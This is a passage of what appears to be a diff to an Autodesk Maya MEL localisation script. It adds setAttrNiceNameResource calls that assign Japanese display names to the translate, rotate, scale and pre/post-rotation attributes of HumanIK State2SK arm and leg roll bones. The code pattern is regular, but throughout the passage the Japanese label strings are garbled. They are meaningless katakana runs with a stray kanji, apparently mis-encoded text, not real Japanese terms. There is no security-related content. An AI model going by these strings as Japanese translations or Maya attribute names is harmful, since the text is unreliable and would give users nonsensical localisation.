"LeafLeftForeArmRoll1Rx", "メカラヌーアロイ犹 1 ミラェ x" ); +setAttrNiceNameResource( "HIKState2SK", "LeafLeftForeArmRoll1Ry", "メカラヌーアロイ犹 1 ミラェ y" ); +setAttrNiceNameResource( "HIKState2SK", "LeafLeftForeArmRoll1Rz", "メカラヌーアロイ犹 1 ミラェ z" ); +setAttrNiceNameResource( "HIKState2SK", "LeafLeftForeArmRoll1S", "メカラヌーアロイ犹 1 ヒキナ" ); +setAttrNiceNameResource( "HIKState2SK", "LeafLeftForeArmRoll1Sx", "メカラヌーアロイ犹 1 ヒキナ x" ); +setAttrNiceNameResource( "HIKState2SK", "LeafLeftForeArmRoll1Sy", "メカラヌーアロイ犹 1 ヒキナ y" ); +setAttrNiceNameResource( "HIKState2SK", "LeafLeftForeArmRoll1Sz", "メカラヌーアロイ犹 1 ヒキナ z" ); +setAttrNiceNameResource( "HIKState2SK", "LeafLeftForeArmRoll1PGX", "メカラヌーアロイ犹 1 PGX" ); +setAttrNiceNameResource( "HIKState2SK", "LeafLeftForeArmRoll1ROrder", "メカラヌーアロイ犹 1 ミラェヒウミ" ); +setAttrNiceNameResource( "HIKState2SK", "LeafLeftForeArmRoll1SC", "メカラヌーアロイ犹 1 SC" ); +setAttrNiceNameResource( "HIKState2SK", "LeafLeftForeArmRoll1IS", "メカラヌーアロイ犹 1 IS" ); +setAttrNiceNameResource( "HIKState2SK", "LeafLeftForeArmRoll1ISx", "メカラヌーアロイ犹 1 ISx" ); +setAttrNiceNameResource( "HIKState2SK", "LeafLeftForeArmRoll1ISy", "メカラヌーアロイ犹 1 ISy" ); +setAttrNiceNameResource( "HIKState2SK", "LeafLeftForeArmRoll1ISz", "メカラヌーアロイ犹 1 ISz" ); +setAttrNiceNameResource( "HIKState2SK", "LeafLeftForeArmRoll1PreR", "メカラヌーアロイ犹 1 ミラェヌー" ); +setAttrNiceNameResource( "HIKState2SK", "LeafLeftForeArmRoll1PreRx", "メカラヌーアロイ犹 1 ミラェヌー x" ); +setAttrNiceNameResource( "HIKState2SK", "LeafLeftForeArmRoll1PreRy", "メカラヌーアロイ犹 1 ミラェヌー y" ); +setAttrNiceNameResource( "HIKState2SK", "LeafLeftForeArmRoll1PreRz", "メカラヌーアロイ犹 1 ミラェヌー z" ); +setAttrNiceNameResource( "HIKState2SK", "LeafLeftForeArmRoll1PostR", "メカラヌーアロイ犹 1 ミラェコ" ); +setAttrNiceNameResource( "HIKState2SK", "LeafLeftForeArmRoll1PostRx", "メカラヌーアロイ犹 1 ミラェコ x" ); +setAttrNiceNameResource( "HIKState2SK", "LeafLeftForeArmRoll1PostRy", "メカラヌーアロイ犹 1 ミラェコ y" ); +setAttrNiceNameResource( "HIKState2SK", "LeafLeftForeArmRoll1PostRz", "メカラヌーアロイ犹 1 ミラェコ z" ); +setAttrNiceNameResource( "HIKState2SK", "LeafRightArmRoll1T", "メカモメアロイ犹 1 ニスメニ" ); +setAttrNiceNameResource( "HIKState2SK", "LeafRightArmRoll1Tx", "メカモメアロイ犹 1 ニスメニ x" ); +setAttrNiceNameResource( "HIKState2SK", "LeafRightArmRoll1Ty", "メカモメアロイ犹 1 ニスメニ y" ); +setAttrNiceNameResource( "HIKState2SK", "LeafRightArmRoll1Tz", "メカモメアロイ犹 1 ニスメニ z" ); +setAttrNiceNameResource( "HIKState2SK", "LeafRightArmRoll1R", "メカモメアロイ犹 1 ミラェ" ); +setAttrNiceNameResource( "HIKState2SK", "LeafRightArmRoll1Rx", "メカモメアロイ犹 1 ミラェ x" ); +setAttrNiceNameResource( "HIKState2SK", "LeafRightArmRoll1Ry", "メカモメアロイ犹 1 ミラェ y" ); +setAttrNiceNameResource( "HIKState2SK", "LeafRightArmRoll1Rz", "メカモメアロイ犹 1 ミラェ z" ); +setAttrNiceNameResource( "HIKState2SK", "LeafRightArmRoll1S", "メカモメアロイ犹 1 ヒキナ" ); +setAttrNiceNameResource( "HIKState2SK", "LeafRightArmRoll1Sx", "メカモメアロイ犹 1 ヒキナ x" ); +setAttrNiceNameResource( "HIKState2SK", "LeafRightArmRoll1Sy", "メカモメアロイ犹 1 ヒキナ y" ); +setAttrNiceNameResource( "HIKState2SK", "LeafRightArmRoll1Sz", "メカモメアロイ犹 1 ヒキナ z" ); +setAttrNiceNameResource( "HIKState2SK", "LeafRightArmRoll1PGX", "メカモメアロイ犹 1 PGX" ); +setAttrNiceNameResource( "HIKState2SK", "LeafRightArmRoll1ROrder", "メカモメアロイ犹 1 ミラェヒウミ" ); +setAttrNiceNameResource( "HIKState2SK", "LeafRightArmRoll1SC", "メカモメアロイ犹 1 SC" ); +setAttrNiceNameResource( "HIKState2SK", "LeafRightArmRoll1IS", "メカモメアロイ犹 1 IS" ); +setAttrNiceNameResource( "HIKState2SK", "LeafRightArmRoll1ISx", "メカモメアロイ犹 1 ISx" ); +setAttrNiceNameResource( "HIKState2SK", "LeafRightArmRoll1ISy", "メカモメアロイ犹 1 ISy" ); +setAttrNiceNameResource( "HIKState2SK", "LeafRightArmRoll1ISz", "メカモメアロイ犹 1 ISz" ); +setAttrNiceNameResource( "HIKState2SK", "LeafRightArmRoll1PreR", "メカモメアロイ犹 1 ミラェヌー" ); +setAttrNiceNameResource( "HIKState2SK", "LeafRightArmRoll1PreRx", "メカモメアロイ犹 1 ミラェヌー x" ); +setAttrNiceNameResource( "HIKState2SK", "LeafRightArmRoll1PreRy", "メカモメアロイ犹 1 ミラェヌー y" ); +setAttrNiceNameResource( "HIKState2SK", "LeafRightArmRoll1PreRz", "メカモメアロイ犹 1 ミラェヌー z" ); +setAttrNiceNameResource( "HIKState2SK", "LeafRightArmRoll1PostR", "メカモメアロイ犹 1 ミラェコ" ); +setAttrNiceNameResource( "HIKState2SK", "LeafRightArmRoll1PostRx", "メカモメアロイ犹 1 ミラェコ x" ); +setAttrNiceNameResource( "HIKState2SK", "LeafRightArmRoll1PostRy", "メカモメアロイ犹 1 ミラェコ y" ); +setAttrNiceNameResource( "HIKState2SK", "LeafRightArmRoll1PostRz", "メカモメアロイ犹 1 ミラェコ z" ); +setAttrNiceNameResource( "HIKState2SK", "LeafRightForeArmRoll1T", "メカモメヌーアロイ犹 1 ニスメニ" ); +setAttrNiceNameResource( "HIKState2SK", "LeafRightForeArmRoll1Tx", "メカモメヌーアロイ犹 1 ニスメニ x" ); +setAttrNiceNameResource( "HIKState2SK", "LeafRightForeArmRoll1Ty", "メカモメヌーアロイ犹 1 ニスメニ y" ); +setAttrNiceNameResource( "HIKState2SK", "LeafRightForeArmRoll1Tz", "メカモメヌーアロイ犹 1 ニスメニ z" ); +setAttrNiceNameResource( "HIKState2SK", "LeafRightForeArmRoll1R", "メカモメヌーアロイ犹 1 ミラェ" ); +setAttrNiceNameResource( "HIKState2SK", "LeafRightForeArmRoll1Rx", "メカモメヌーアロイ犹 1 ミラェ x" ); +setAttrNiceNameResource( "HIKState2SK", "LeafRightForeArmRoll1Ry", "メカモメヌーアロイ犹 1 ミラェ y" ); +setAttrNiceNameResource( "HIKState2SK", "LeafRightForeArmRoll1Rz", "メカモメヌーアロイ犹 1 ミラェ z" ); +setAttrNiceNameResource( "HIKState2SK", "LeafRightForeArmRoll1S", "メカモメヌーアロイ犹 1 ヒキナ" ); +setAttrNiceNameResource( "HIKState2SK", "LeafRightForeArmRoll1Sx", "メカモメヌーアロイ犹 1 ヒキナ x" ); +setAttrNiceNameResource( "HIKState2SK", "LeafRightForeArmRoll1Sy", "メカモメヌーアロイ犹 1 ヒキナ y" ); +setAttrNiceNameResource( "HIKState2SK", "LeafRightForeArmRoll1Sz", "メカモメヌーアロイ犹 1 ヒキナ z" ); +setAttrNiceNameResource( "HIKState2SK", "LeafRightForeArmRoll1PGX", "メカモメヌーアロイ犹 1 PGX" ); +setAttrNiceNameResource( "HIKState2SK", "LeafRightForeArmRoll1ROrder", "メカモメヌーアロイ犹 1 ミラェヒウミ" ); +setAttrNiceNameResource( "HIKState2SK", "LeafRightForeArmRoll1SC", "メカモメヌーアロイ犹 1 SC" ); +setAttrNiceNameResource( "HIKState2SK", "LeafRightForeArmRoll1IS", "メカモメヌーアロイ犹 1 IS" ); +setAttrNiceNameResource( "HIKState2SK", "LeafRightForeArmRoll1ISx", "メカモメヌーアロイ犹 1 ISx" ); +setAttrNiceNameResource( "HIKState2SK", "LeafRightForeArmRoll1ISy", "メカモメヌーアロイ犹 1 ISy" ); +setAttrNiceNameResource( "HIKState2SK", "LeafRightForeArmRoll1ISz", "メカモメヌーアロイ犹 1 ISz" ); +setAttrNiceNameResource( "HIKState2SK", "LeafRightForeArmRoll1PreR", "メカモメヌーアロイ犹 1 ミラェヌー" ); +setAttrNiceNameResource( "HIKState2SK", "LeafRightForeArmRoll1PreRx", "メカモメヌーアロイ犹 1 ミラェヌー x" ); +setAttrNiceNameResource( "HIKState2SK", "LeafRightForeArmRoll1PreRy", "メカモメヌーアロイ犹 1 ミラェヌー y" ); +setAttrNiceNameResource( "HIKState2SK", "LeafRightForeArmRoll1PreRz", "メカモメヌーアロイ犹 1 ミラェヌー z" ); +setAttrNiceNameResource( "HIKState2SK", "LeafRightForeArmRoll1PostR", "メカモメヌーアロイ犹 1 ミラェコ" ); +setAttrNiceNameResource( "HIKState2SK", "LeafRightForeArmRoll1PostRx", "メカモメヌーアロイ犹 1 ミラェコ x" ); +setAttrNiceNameResource( "HIKState2SK", "LeafRightForeArmRoll1PostRy", "メカモメヌーアロイ犹 1 ミラェコ y" ); +setAttrNiceNameResource( "HIKState2SK", "LeafRightForeArmRoll1PostRz", "メカモメヌーアロイ犹 1 ミラェコ z" ); +setAttrNiceNameResource( "HIKState2SK", "LeafLeftUpLegRoll2T", "メカラエヘネイ犹 2 ニスメニ" ); +setAttrNiceNameResource( "HIKState2SK", "LeafLeftUpLegRoll2Tx", "メカラエヘネイ犹 2 ニスメニ x" ); +setAttrNiceNameResource( "HIKState2SK", "LeafLeftUpLegRoll2Ty", "メカラエヘネイ犹 2 ニスメニ y" ); +setAttrNiceNameResource( "HIKState2SK", "LeafLeftUpLegRoll2Tz", "メカラエヘネイ犹 2 ニスメニ z" ); +setAttrNiceNameResource( "HIKState2SK", "LeafLeftUpLegRoll2R", "メカラエヘネイ犹 2 ミラェ" ); +setAttrNiceNameResource( "HIKState2SK", "LeafLeftUpLegRoll2Rx", "メカラエヘネイ犹 2 ミラェ x" ); +setAttrNiceNameResource( "HIKState2SK", "LeafLeftUpLegRoll2Ry", "メカラエヘネイ犹 2 ミラェ y" ); +setAttrNiceNameResource( "HIKState2SK", "LeafLeftUpLegRoll2Rz", "メカラエヘネイ犹 2 ミラェ z" ); +setAttrNiceNameResource( "HIKState2SK", "LeafLeftUpLegRoll2S", "メカラエヘネイ犹 2 ヒキナ" ); +setAttrNiceNameResource( "HIKState2SK", "LeafLeftUpLegRoll2Sx", "メカラエヘネイ犹 2 ヒキナ x" ); +setAttrNiceNameResource( "HIKState2SK", "LeafLeftUpLegRoll2Sy", "メカラエヘネイ犹 2 ヒキナ y" ); +setAttrNiceNameResource( "HIKState2SK", "LeafLeftUpLegRoll2Sz", "メカラエヘネイ犹 2 ヒキナ z" ); +setAttrNiceNameResource( "HIKState2SK", "LeafLeftUpLegRoll2PGX", "メカラエヘネイ犹 2 PGX" ); +setAttrNiceNameResource( "HIKState2SK", "LeafLeftUpLegRoll2ROrder", "メカラエヘネイ犹 2 ミラェヒウミ" ); +setAttrNiceNameResource( "HIKState2SK", "LeafLeftUpLegRoll2SC", "メカラエヘネイ犹 2 SC" ); +setAttrNiceNameResource( "HIKState2SK", "LeafLeftUpLegRoll2IS", "メカラエヘネイ犹 2 IS" ); +setAttrNiceNameResource( "HIKState2SK", "LeafLeftUpLegRoll2ISx", "メカラエヘネイ犹 2 ISx" ); +setAttrNiceNameResource( "HIKState2SK", "LeafLeftUpLegRoll2ISy", "メカラエヘネイ犹 2 ISy" ); +setAttrNiceNameResource( "HIKState2SK", "LeafLeftUpLegRoll2ISz", "メカラエヘネイ犹 2 ISz" ); +setAttrNiceNameResource( "HIKState2SK", "LeafLeftUpLegRoll2PreR", "メカラエヘネイ犹 2 ミラェヌー" ); +setAttrNiceNameResource( "HIKState2SK", "LeafLeftUpLegRoll2PreRx", "メカラエヘネイ犹 2 ミラェヌー x" ); +setAttrNiceNameResource( "HIKState2SK", "LeafLeftUpLegRoll2PreRy", "メカラエヘネイ犹 2 ミラェヌー y" ); +setAttrNiceNameResource( "HIKState2SK", "LeafLeftUpLegRoll2PreRz", "メカラエヘネイ犹 2 ミラェヌー z" ); +setAttrNiceNameResource( "HIKState2SK", "LeafLeftUpLegRoll2PostR", "メカラエヘネイ犹 2 ミラェコ" ); +setAttrNiceNameResource( "HIKState2SK", "LeafLeftUpLegRoll2PostRx", "メカラエヘネイ犹 2 ミラェコ x" ); +setAttrNiceNameResource( "HIKState2SK", "LeafLeftUpLegRoll2PostRy", "メカラエヘネイ犹 2 ミラェコ y" ); +setAttrNiceNameResource( "HIKState2SK", "LeafLeftUpLegRoll2PostRz", "メカラエヘネイ犹 2 ミラェコ z" ); +setAttrNiceNameResource( "HIKState2SK", "LeafLeftLegRoll2T", "メカラヘネイ犹 2 ニスメニ" ); +setAttrNiceNameResource( "HIKState2SK", "LeafLeftLegRoll2Tx", "メカラヘネイ犹 2 ニスメニ x" ); +setAttrNiceNameResource( "HIKState2SK", "LeafLeftLegRoll2Ty", "メカラヘネイ犹 2 ニスメニ y" ); +setAttrNiceNameResource( "HIKState2SK", "LeafLeftLegRoll2Tz", "メカラヘネイ犹 2 ニスメニ z" ); +setAttrNiceNameResource( "HIKState2SK", "LeafLeftLegRoll2R", "メカラヘネイ犹 2 ミラェ" ); +setAttrNiceNameResource( "HIKState2SK", "LeafLeftLegRoll2Rx", "メカラヘネイ犹 2 ミラェ x" ); +setAttrNiceNameResource( "HIKState2SK", "LeafLeftLegRoll2Ry", "メカラヘネイ犹 2 ミラェ y" ); +setAttrNiceNameResource( "HIKState2SK", "LeafLeftLegRoll2Rz", "メカラヘネイ犹 2 ミラェ z" ); +setAttrNiceNameResource( "HIKState2SK", "LeafLeftLegRoll2S", "メカラヘネイ犹 2 ヒキナ" ); +setAttrNiceNameResource( "HIKState2SK", "LeafLeftLegRoll2Sx", "メカラヘネイ犹 2 ヒキナ x" ); +setAttrNiceNameResource( "HIKState2SK", "LeafLeftLegRoll2Sy", "メカラヘネイ犹 2 ヒキナ y" ); +setAttrNiceNameResource( "HIKState2SK", "LeafLeftLegRoll2Sz", "メカラヘネイ犹 2 ヒキナ z" ); +setAttrNiceNameResource( "HIKState2SK", "LeafLeftLegRoll2PGX", "メカラヘネイ犹 2 PGX" ); +setAttrNiceNameResource( "HIKState2SK", "LeafLeftLegRoll2ROrder", "メカラヘネイ犹 2 ミラェヒウミ" ); +setAttrNiceNameResource( "HIKState2SK", "LeafLeftLegRoll2SC", "メカラヘネイ犹 2 SC" ); +setAttrNiceNameResource( "HIKState2SK", "LeafLeftLegRoll2IS", "メカラヘネイ犹 2 IS" ); +setAttrNiceNameResource( "HIKState2SK", "LeafLeftLegRoll2ISx", "メカラヘネイ犹 2 ISx" ); +setAttrNiceNameResource( "HIKState2SK", "LeafLeftLegRoll2ISy", "メカラヘネイ犹 2 ISy" ); +setAttrNiceNameResource( "HIKState2SK", "LeafLeftLegRoll2ISz", "メカラヘネイ犹 2 ISz" ); +setAttrNiceNameResource( "HIKState2SK", "LeafLeftLegRoll2PreR", "メカラヘネイ犹 2 ミラェヌー" ); +setAttrNiceNameResource( "HIKState2SK", "LeafLeftLegRoll2PreRx", "メカラヘネイ犹 2 ミラェヌー x" ); +setAttrNiceNameResource( "HIKState2SK", "LeafLeftLegRoll2PreRy", "メカラヘネイ犹 2 ミラェヌー y" ); +setAttrNiceNameResource( "HIKState2SK", "LeafLeftLegRoll2PreRz", "メカラヘネイ犹 2 ミラェヌー z" ); +setAttrNiceNameResource( "HIKState2SK", "LeafLeftLegRoll2PostR", "メカラヘネイ犹 2 ミラェコ" ); +setAttrNiceNameResource( "HIKState2SK", "LeafLeftLegRoll2PostRx", "メカラヘネイ犹 2 ミラェコ x" ); +setAttrNiceNameResource( "HIKState2SK", "LeafLeftLegRoll2PostRy", "メカラヘネイ犹 2 ミラェコ y" ); +setAttrNiceNameResource( "HIKState2SK", "LeafLeftLegRoll2PostRz", "メカラヘネイ犹 2 ミラェコ z" ); +setAttrNiceNameResource( "HIKState2SK", "LeafRightUpLegRoll2T", "メカモメエヘネイ犹 2 ニスメニ" ); +setAttrNiceNameResource( "HIKState2SK", "LeafRightUpLegRoll2Tx", "メカモメエヘネイ犹 2 ニスメニ x" ); +setAttrNiceNameResource( "HIKState2SK", "LeafRightUpLegRoll2Ty", "メカモメエヘネイ犹 2 ニスメニ y" ); +setAttrNiceNameResource( "HIKState2SK", "LeafRightUpLegRoll2Tz", "メカモメエヘネイ犹 2 ニスメニ z" ); +setAttrNiceNameResource( "HIKState2SK", "LeafRightUpLegRoll2R", "メカモメエヘネイ犹 2 ミラェ" ); +setAttrNiceNameResource( "HIKState2SK", "LeafRightUpLegRoll2Rx", "メカモメエヘネイ犹 2 ミラェ x" ); +setAttrNiceNameResource( "HIKState2SK", "LeafRightUpLegRoll2Ry", "メカモメエヘネイ犹 2 ミラェ y" ); +setAttrNiceNameResource( "HIKState2SK", "LeafRightUpLegRoll2Rz", "メカモメエヘネイ犹 2 ミラェ z" ); +setAttrNiceNameResource( "HIKState2SK", "LeafRightUpLegRoll2S", "メカモメエヘネイ犹 2 ヒキナ" ); +setAttrNiceNameResource( "HIKState2SK", "LeafRightUpLegRoll2Sx", "メカモメエヘネイ犹 2 ヒキナ x" ); +setAttrNiceNameResource( "HIKState2SK", "LeafRightUpLegRoll2Sy", "メカモメエヘネイ犹 2 ヒキナ y" ); +setAttrNiceNameResource( "HIKState2SK", "LeafRightUpLegRoll2Sz", "メカモメエヘネイ犹 2 ヒキナ z" ); +setAttrNiceNameResource( "HIKState2SK", "LeafRightUpLegRoll2PGX", "メカモメエヘネイ犹 2 PGX" ); +setAttrNiceNameResource( "HIKState2SK", "LeafRightUpLegRoll2ROrder", "メカモメエヘネイ犹 2 ミラェヒウミ" ); +setAttrNiceNameResource( "HIKState2SK", "LeafRightUpLegRoll2SC", "メカモメエヘネイ犹 2 SC" ); +setAttrNiceNameResource( "HIKState2SK", "LeafRightUpLegRoll2IS", "メカモメエヘネイ犹 2 IS" ); +setAttrNiceNameResource( "HIKState2SK", "LeafRightUpLegRoll2ISx", "メカモメエヘネイ犹 2 ISx" ); +setAttrNiceNameResource( "HIKState2SK", "LeafRightUpLegRoll2ISy", "メカモメエヘネイ犹 2 ISy" ); +setAttrNiceNameResource( "HIKState2SK", "LeafRightUpLegRoll2ISz", "メカモメエヘネイ犹 2 ISz" ); +setAttrNiceNameResource( "HIKState2SK", "LeafRightUpLegRoll2PreR", "メカモメエヘネイ犹 2 ミラェヌー" ); +setAttrNiceNameResource( "HIKState2SK", "LeafRightUpLegRoll2PreRx", "メカモメエヘネイ犹 2 ミラェヌー x" ); +setAttrNiceNameResource( "HIKState2SK", "LeafRightUpLegRoll2PreRy", "メカモメエヘネイ犹 2 ミラェヌー y" ); +setAttrNiceNameResource( "HIKState2SK", "LeafRightUpLegRoll2PreRz", "メカモメエヘネイ犹 2 ミラェヌー z" ); +setAttrNiceNameResource( "HIKState2SK", "LeafRightUpLegRoll2PostR", "メカモメエヘネイ犹 2 ミラェコ" ); +setAttrNiceNameResource( "HIKState2SK", "LeafRightUpLegRoll2PostRx", "メカモメエヘネイ犹 2 ミラェコ x" ); +setAttrNiceNameResource( "HIKState2SK", "LeafRightUpLegRoll2PostRy", "メカモメエヘネイ犹 2 ミラェコ y" ); +setAttrNiceNameResource( "HIKState2SK", "LeafRightUpLegRoll2PostRz", "メカモメエヘネイ犹 2 ミラェコ z" ); +setAttrNiceNameResource( "HIKState2SK", "LeafRightLegRoll2T", "メカモメヘネイ犹 2 ニスメニ" ); +setAttrNiceNameResource( "HIKState2SK", "LeafRightLegRoll2Tx", "メカモメヘネイ犹 2 ニスメニ x" ); +setAttrNiceNameResource( "HIKState2SK", "LeafRightLegRoll2Ty", "メカモメヘネイ犹 2 ニスメニ y" ); +setAttrNiceNameResource( "HIKState2SK", "LeafRightLegRoll2Tz", "メカモメヘネイ犹 2 ニスメニ z" ); +setAttrNiceNameResource( "HIKState2SK", "LeafRightLegRoll2R", "メカモメヘネイ犹 2 ミラェ" ); +setAttrNiceNameResource( "HIKState2SK", "LeafRightLegRoll2Rx", "メカモメヘネイ犹 2 ミラェ x" ); +setAttrNiceNameResource( "HIKState2SK", "LeafRightLegRoll2Ry", "メカモメヘネイ犹 2 ミラェ y" ); +setAttrNiceNameResource( "HIKState2SK", "LeafRightLegRoll2Rz", "メカモメヘネイ犹 2 ミラェ z" ); +setAttrNiceNameResource( "HIKState2SK", "LeafRightLegRoll2S", "メカモメヘネイ犹 2 ヒキナ" ); +setAttrNiceNameResource( "HIKState2SK", "LeafRightLegRoll2Sx", "メカモメヘネイ犹 2 ヒキナ x" ); +setAttrNiceNameResource( "HIKState2SK", "LeafRightLegRoll2Sy", "メカモメヘネイ犹 2 ヒキナ y" ); +setAttrNiceNameResource( "HIKState2SK", "LeafRightLegRoll2Sz", "メカモメヘネイ犹 2 ヒキナ z" ); +setAttrNiceNameResource( "HIKState2SK", "LeafRightLegRoll2PGX", "メカモメヘネイ犹 2 PGX" ); +setAttrNiceNameResource( "HIKState2SK", "LeafRightLegRoll2ROrder", "メカモメヘネイ犹 2 ミラェヒウミ" ); +setAttrNiceNameResource( "HIKState2SK", "LeafRightLegRoll2SC", "メカモメヘネイ犹 2 SC" ); +setAttrNiceNameResource( "HIKState2SK", "LeafRightLegRoll2IS", "メカモメヘネイ犹 2 IS" ); +setAttrNiceNameResource( "HIKState2SK", "LeafRightLegRoll2ISx", "メカモメヘネイ犹 2 ISx" ); +setAttrNiceNameResource( "HIKState2SK", "LeafRightLegRoll2ISy", "メカモメヘネイ犹 2 ISy" ); +setAttrNiceNameResource( "HIKState2SK", "LeafRightLegRoll2ISz", "メカモメヘネイ犹 2 ISz" ); +setAttrNiceNameResource( "HIKState2SK", "LeafRightLegRoll2PreR", "メカモメヘネイ犹 2 ミラェヌー" ); +setAttrNiceNameResource( "HIKState2SK", "LeafRightLegRoll2PreRx", "メカモメヘネイ犹 2 ミラェヌー x" ); +setAttrNiceNameResource( "HIKState2SK", "LeafRightLegRoll2PreRy", "メカモメヘネイ犹 2 ミラェヌー y" ); +setAttrNiceNameResource( "HIKState2SK", "LeafRightLegRoll2PreRz", "メカモメヘネイ犹 2 ミラェヌー z" ); +setAttrNiceNameResource( "HIKState2SK", "LeafRightLegRoll2PostR", "メカモメヘネイ犹 2 ミラェコ" ); +setAttrNiceNameResource( "HIKState2SK", "LeafRightLegRoll2PostRx", "メカモメヘネイ犹 2 ミラェコ x" ); +setAttrNiceNameResource( "HIKState2SK", "LeafRightLegRoll2PostRy", "メカモメヘネイ犹 2 ミラェコ y" ); +setAttrNiceNameResource( "HIKState2SK", "LeafRightLegRoll2PostRz", "メカモメヘネイ犹 2 ミラェコ z" ); +setAttrNiceNameResource( "HIKState2SK", "LeafLeftArmRoll2T", "メカラアロイ犹 2 ニスメニ" ); +setAttrNiceNameResource( "HIKState2SK", "LeafLeftArmRoll2Tx", "メカラアロイ犹 2 ニスメニ x" ); +setAttrNiceNameResource( "HIKState2SK", "LeafLeftArmRoll2Ty", "メカラアロイ犹 2 ニスメニ y" ); +setAttrNiceNameResource( "HIKState2SK", "LeafLeftArmRoll2Tz", "メカラアロイ犹 2 ニスメニ z" ); +setAttrNiceNameResource( "HIKState2SK", "LeafLeftArmRoll2R", "メカラアロイ犹 2 ミラェ" ); +setAttrNiceNameResource( "HIKState2SK", "LeafLeftArmRoll2Rx", "メカラアロイ犹 2 ミラェ x" ); +setAttrNiceNameResource( "HIKState2SK", "LeafLeftArmRoll2Ry", "メカラアロイ犹 2 ミラェ y" ); +setAttrNiceNameResource( "HIKState2SK", "LeafLeftArmRoll2Rz", "メカラアロイ犹 2 ミラェ z" ); +setAttrNiceNameResource( "HIKState2SK", "LeafLeftArmRoll2S", "メカラアロイ犹 2 ヒキナ" ); +setAttrNiceNameResource( "HIKState2SK", "LeafLeftArmRoll2Sx", "メカラアロイ犹 2 ヒキナ x" ); +setAttrNiceNameResource( "HIKState2SK", "LeafLeftArmRoll2Sy", "メカラアロイ犹 2 ヒキナ y" ); +setAttrNiceNameResource( "HIKState2SK", "LeafLeftArmRoll2Sz", "メカラアロイ犹 2 ヒキナ z" ); +setAttrNiceNameResource( "HIKState2SK", "LeafLeftArmRoll2PGX", "メカラアロイ犹 2 PGX" ); +setAttrNiceNameResource( "HIKState2SK", "LeafLeftArmRoll2ROrder", "メカラアロイ犹 2 ミラェヒウミ" ); +setAttrNiceNameResource( "HIKState2SK", "LeafLeftArmRoll2SC", "メカラアロイ犹 2 SC" ); +setAttrNiceNameResource( "HIKState2SK", "LeafLeftArmRoll2IS", "メカラアロイ犹 2 IS" ); +setAttrNiceNameResource( "HIKState2SK", "LeafLeftArmRoll2ISx", "メカラアロイ犹 2 ISx" ); +setAttrNiceNameResource( "HIKState2SK", "LeafLeftArmRoll2ISy", "メカラアロイ犹 2 ISy" ); +setAttrNiceNameResource( "HIKState2SK", "LeafLeftArmRoll2ISz", "メカラアロイ犹 2 ISz" ); +setAttrNiceNameResource( "HIKState2SK", "LeafLeftArmRoll2PreR", "メカラアロイ犹 2 ミラェヌー" ); +setAttrNiceNameResource( "HIKState2SK", "LeafLeftArmRoll2PreRx", "メカラアロイ犹 2 ミラェヌー x" ); +setAttrNiceNameResource( "HIKState2SK", "LeafLeftArmRoll2PreRy", "メカラアロイ犹 2 ミラェヌー y" ); +setAttrNiceNameResource( "HIKState2SK", "LeafLeftArmRoll2PreRz", "メカラアロイ犹 2 ミラェヌー z" ); +setAttrNiceNameResource( "HIKState2SK", "LeafLeftArmRoll2PostR", "メカラアロイ犹 2 ミラェコ" ); +setAttrNiceNameResource( "HIKState2SK", "LeafLeftArmRoll2PostRx", "メカラアロイ犹 2 ミラェコ x" ); +setAttrNiceNameResource( "HIKState2SK", "LeafLeftArmRoll2PostRy", "メカラアロイ犹 2 ミラェコ y" ); +setAttrNiceNameResource( "HIKState2SK", "LeafLeftArmRoll2PostRz", "メカラアロイ犹 2 ミラェコ z" ); +setAttrNiceNameResource( "HIKState2SK", "LeafLeftForeArmRoll2T", "メカラヌーアロイ犹 2 ニスメニ" ); +setAttrNiceNameResource( "HIKState2SK", "LeafLeftForeArmRoll2Tx", "メカラヌーアロイ犹 2 ニスメニ x" ); +setAttrNiceNameResource( "HIKState2SK", "LeafLeftForeArmRoll2Ty", "メカラヌーアロイ犹 2 ニスメニ y" ); +setAttrNiceNameResource( "HIKState2SK", "LeafLeftForeArmRoll2Tz", "メカラヌーアロイ犹 2 ニスメニ z" ); +setAttrNiceNameResource( "HIKState2SK", "LeafLeftForeArmRoll2R", "メカラヌーアロイ犹 2 ミラェ" ); +setAttrNiceNameResource( "HIKState2SK", "LeafLeftForeArmRoll2Rx", "メカラヌーアロイ犹 2 ミラェ x" ); +setAttrNiceNameResource( "HIKState2SK", "LeafLeftForeArmRoll2Ry", "メカラヌーアロイ犹 2 ミラェ y" ); +setAttrNiceNameResource( "HIKState2SK", "LeafLeftForeArmRoll2Rz", "メカラヌーアロイ犹 2 ミラェ z" ); +setAttrNiceNameResource( "HIKState2SK", "LeafLeftForeArmRoll2S", "メカラヌーアロイ犹 2 ヒキナ" ); +setAttrNiceNameResource( "HIKState2SK", "LeafLeftForeArmRoll2Sx", "メカラヌーアロイ犹 2 ヒキナ x" ); +setAttrNiceNameResource( "HIKState2SK", "LeafLeftForeArmRoll2Sy", "メカラヌーアロイ犹 2 ヒキナ y" ); +setAttrNiceNameResource( "HIKState2SK", "LeafLeftForeArmRoll2Sz", "メカラヌーアロイ犹 2 ヒキナ z" ); +setAttrNiceNameResource( "HIKState2SK", "LeafLeftForeArmRoll2PGX", "メカラヌーアロイ犹 2 PGX" ); +setAttrNiceNameResource( "HIKState2SK", "LeafLeftForeArmRoll2ROrder", "メカラヌーアロイ犹 2 ミラェヒウミ" ); +setAttrNiceNameResource( "HIKState2SK", "LeafLeftForeArmRoll2SC", "メカラヌーアロイ犹 2 SC" ); +setAttrNiceNameResource( "HIKState2SK", "LeafLeftForeArmRoll2IS", "メカラヌーアロイ犹 2 IS" ); +setAttrNiceNameResource( "HIKState2SK", "LeafLeftForeArmRoll2ISx", "メカラヌーアロイ犹 2 ISx" ); +setAttrNiceNameResource( "HIKState2SK", "LeafLeftForeArmRoll2ISy", "メカラヌーアロイ犹 2 ISy" ); +setAttrNiceNameResource( "HIKState2SK", "LeafLeftForeArmRoll2ISz", "メカラヌーアロイ犹 2 ISz" ); +setAttrNiceNameResource( "HIKState2SK", "LeafLeftForeArmRoll2PreR", "メカラヌーアロイ犹 2 ミラェヌー" ); +setAttrNiceNameResource( "HIKState2SK", "LeafLeftForeArmRoll2PreRx", "メカラヌーアロイ犹 2 ミラェヌー x" ); +setAttrNiceNameResource( "HIKState2SK", "LeafLeftForeArmRoll2PreRy", "メカラヌーアロイ犹 2 ミラェヌー y" ); +setAttrNiceNameResource( "HIKState2SK", "LeafLeftForeArmRoll2PreRz", "メカラヌーアロイ犹 2 ミラェヌー z" ); +setAttrNiceNameResource( "HIKState2SK", "LeafLeftForeArmRoll2PostR", "メカラヌーアロイ犹 2 ミラェコ" ); +setAttrNiceNameResource( "HIKState2SK", "LeafLeftForeArmRoll2PostRx", "メカラヌーアロイ犹 2 ミラェコ x" ); +setAttrNiceNameResource( 